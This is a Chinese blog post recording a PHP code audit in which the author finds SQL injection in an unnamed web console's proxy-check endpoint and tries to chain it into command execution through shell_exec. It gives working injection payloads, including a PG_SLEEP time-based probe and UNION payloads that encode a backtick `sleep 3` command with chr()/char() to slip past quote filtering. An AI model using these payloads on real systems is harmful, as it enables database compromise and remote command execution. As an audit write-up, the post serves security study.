AI智能
改变未来

记录一次半失败的php代码审计

   审计源码发现的,比较有趣的案例:

    先上存在安全问题代码:

    

          $ips = $this->oInputPost->GetArray(\"ips\");$domains = $this->oInputPost->GetArray(\"domains\");$proxys = $this->oInputPost->GetArray(\"proxys\");if (!empty($proxys)) {$sql = \"SELECT * FROM \" . WebConsole\\NM_DBT_SYSTEM_DEVICE . \" WHERE typeid = 4 AND status = 2 AND id IN (\" . WebConsole\\implode(\", \", $proxys) . \") ORDER BY id ASC\";$list = $this->oDbConn->FetchAll($sql);foreach ($list as $value ) {$proxyips[] = $value[\"ip\"];}}else {$proxyips[] = \"127.0.0.1\";}}if (empty($proxyips)) {$this->SetError(WebConsole\\_(\"TIPS_PROXY_SERVER_OFFLINE\"), 2086);break;}$port = $this->oInputPost->GetInt(\"port\");if ((empty($ips) && empty($domains)) || (WebConsole\\false === $port) || (WebConsole\\strlen($port) == 0)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2093);break;}$this->InitCheckNet();foreach ($proxyips as $proxyip ) {foreach ($ips as $value ) {if (($this->oCheckNet->IPv4Check($value) === WebConsole\\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\\false)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2100);break 3;}$cmd = \"/usr/local/bin/osm_sysmng_tool -T 7 -D \" . $proxyip . \" -R \" . $value . \" -P \" . $port;$result = WebConsole\\shell_exec($cmd);

  其中比较重要的三部分:

    我摘取下来,一个个看过去:

    第一部分:

        

$sql = \"SELECT * FROM \" . WebConsole\\NM_DBT_SYSTEM_DEVICE . \" WHERE typeid = 4 AND status = 2 AND id IN (\" . WebConsole\\implode(\", \", $proxys) . \") ORDER BY id ASC\";$list = $this->oDbConn->FetchAll($sql);

    这里把直接调用$proxys数组,相当于id IN(数字),是个数字类型注入:

    直接构造poc:

      

proxys[]=1) AND 1=(SELECT 1 FROM PG_SLEEP(5))-- 1&port=80&ips=127.0.0.1

      

完成sql注入,下一步往下看代码:

    

$list = $this->oDbConn->FetchAll($sql);foreach ($list as $value ) {$proxyips[] = $value[\"ip\"];}

   把查询的数据,已关联数组的形式显示,key和value那种,然后把获取到的表字段ip的值给$proxyips[]

   继续看上面代码发现:

      

foreach ($proxyips as $proxyip ) {foreach ($ips as $value ) {if (($this->oCheckNet->IPv4Check($value) === WebConsole\\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\\false)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2100);break 3;}$cmd = \"/usr/local/bin/osm_sysmng_tool -T 7 -D \" . $proxyip . \" -R \" . $value . \" -P \" . $port;$result = WebConsole\\shell_exec($cmd);

  发现他对我们获取的ip字段进行遍历,最后带入了:

      

$cmd = \"/usr/local/bin/osm_sysmng_tool -T 7 -D \" . $proxyip . \" -R \" . $value . \" -P \" . $port;

  $port不可控,因为通过前面代码阅读:

    

$port = $this->oInputPost->GetInt(\"port\");if ((empty($ips) && empty($domains)) || (WebConsole\\false === $port) || (WebConsole\\strlen($port) == 0)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2093);break;}

  发现他做了端口验证,$value也不可控:

    

if (($this->oCheckNet->IPv4Check($value) === WebConsole\\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\\false)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2100);break 3;}

  做了ipv4验证,验证了是否是一个真正的ip地址

  那么就差$proxyip了

  通过前面代码,看到select查询代码:

    

这是个常量,跟进去看看定义:

    

  

define(\"NM_DBT_SYSTEM_DEVICE\", \"t_system_device\");

那么他查询的就是这个表咯

  查看这个表的创建,查看表结构:

  如果无法查看表结构我们可以怎么做?全局搜索t_system_device,查询蛛丝马迹,但是我们是幸运的,可以查看表结构:

    

总共14个字段,即使不看表结构,也可以通过order by获取到字段信息

    拿出来:

    

CREATE TABLE t_system_device(id serial NOT NULL,status integer NOT NULL,typeid integer NOT NULL,name varchar(100) NOT NULL,displayname varchar(200),ip inet NOT NULL,fallbackip inet,clusterip inet,port integer,remark text,createtime TIMESTAMP null,creator varchar(40),changetime TIMESTAMP null,changer varchar(40),PRIMARY KEY (id));

   这里我想到的思路是控制$proxyip,从而达成rce,这是可控的,我们来操作下:

    已知道ip字段在第六列,直接修改内容为:

  

proxys[]=1) union select null,null,null,null,null,\'`sleep 3`\',null,null,null,null,null,null,null,null -- 1&port=80&ips=127.0.0.1

  发现测试失败,并没有延迟三秒,并且还报错了,原因就在于过滤了引号,我们继续操作安排:

    我们使用一些解码操作:

      这里选择使用char函数:

    把\’`sleep 3`\’替换成:

    

(concat(char(96),char(115),char(108),char(101),char(101),char(112),char(32),char(51),char(96)))

对应的的解码如下:

    

但是还是失败了?

  什么原因呢?细心的朋友应该知道,我使用的函数是mysql的函数,连接符也是mysql的,但是我们代码审查的源码是postgresql的,所以寻找postgresql的字符串连接符和解密函数:

  节省时间我直接上poc:

    

ips[]=192.168.0.1&domains[]=www.baidu.com&p=8080&proxys[]=12) union select 1,2,3,(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96))-- aaaa

   这次还是利用失败了:

    我们来转移15b0下sleep 3这个payload的存放位置:

  放到最后面:

    

这一次页面返回正常,为什么?

    

  因为类型是varchar(40),而union注入的ip字段类型是inet类型的,所以我们不能union注入,他是强类型表字段约束:

  为了了解他是不是真的强类型表约束?我搭建了环境用来测试:

    

  我创建了一个表,类型是id和varchar

  当我进行union的时候:

  

 这样是不允许的,因为数据类型不一样,postgresql很严格,必须字段数据类型统一

  合法操作是这样:

 

  所以我们rce失败是理所应当!

  假设前提:如果源代码使用mysql数据库,我们还会rce失败吗?

  答案:rce是成功的

  我们来写个demo:

    

这是我很早之前创建的表,他有int类型,也有varchar类型:

  现在我们union查询,全部设置成数字,或者全部设置成字符串:

    

  发现并不会报错,说明mysql的字段验证是不严格的,算是个小tips吧

   源代码如果使用mysql进行sql语句操作的话:

  我们直接用之前失败的残次品:

    

proxys[]=1) union select null,null,null,null,null,(concat(char(96),char(115),char(108),char(101),char(101),char(112),char(32),char(51),char(96))),null,null,null,null,null,null,null,null -- 1&port=80&ips=127.0.0.1

即使是过滤了单引号,我们还是可以通过这种方式进行注入达成rce

    因为这个rce最后没利用成功,利用数据包就不放了,呵呵

    

    

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » 记录一次半失败的php代码审计